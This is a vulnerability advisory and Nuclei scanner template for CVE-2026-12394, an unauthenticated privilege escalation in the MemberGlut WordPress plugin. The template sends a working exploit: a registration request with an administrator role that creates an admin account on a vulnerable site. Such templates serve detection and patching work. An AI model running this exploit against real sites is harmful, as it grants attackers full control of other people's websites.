WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation

criticalseverity

9.8CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.

Impact

Unauthenticated users can register as administrators, leading to full site compromise.

Fix

Update to version 1.1.5 or later.

How to confirm it

Send: GET /register/
Positive when: contains_all(body, "register_nonce", "memberglut_register") and status_code == 200
Send: POST /register/ ; GET /wp-admin/users.php
Positive when: status_code_1 == 302 and contains(header_1, "registration_success") and status_code_2 == 200 and contains_all(body_2, "wpbody-content", "Administrator")

Run it with nuclei: nuclei -id CVE-2026-12394 -u <target>

The full check

id: CVE-2026-12394

info:
  name: WordPress MemberGlut < 1.1.5 - Unauthenticated Privilege Escalation
  author: str4k3r
  severity: critical
  description: |
    MemberGlut WordPress plugin < 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.
  impact: |
    Unauthenticated users can register as administrators, leading to full site compromise.
  remediation: |
    Update to version 1.1.5 or later.
  reference:
    - https://wpscan.com/vulnerability/6b126a3e-30d5-4bed-ba47-33e589ec2852/
    - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.0/includes/class-memberglut-forms.php
    - https://plugins.trac.wordpress.org/browser/memberglut/tags/1.1.5/includes/class-memberglut-forms.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-12394
    epss-score: 0.02071
    epss-percentile: 0.81594
    cwe-id: CWE-269
  metadata:
    max-request: 3
    verified: true
    vendor: memberglut
    product: memberglut
    fofa-query: body="wp-content/plugins/memberglut"
  tags: cve,cve2026,wordpress,wp-plugin,memberglut,privesc,unauth,wp

variables:
  rand_user: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "register_nonce", "memberglut_register")
          - status_code == 200
        condition: and
        internal: true

    extractors:
      - type: regex
        name: register_nonce
        part: body
        group: 1
        regex:
          - 'name="register_nonce"\s*value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /register/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=memberglut_register&register_nonce={{register_nonce}}&username={{rand_user}}&email={{rand_user}}@example.test&password=Cve12394Test1!&first_name=a&last_name=a&default_role=administrator

      - |
        GET /wp-admin/users.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 302
          - contains(header_1, "registration_success")
          - status_code_2 == 200
          - contains_all(body_2, "wpbody-content", "Administrator")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from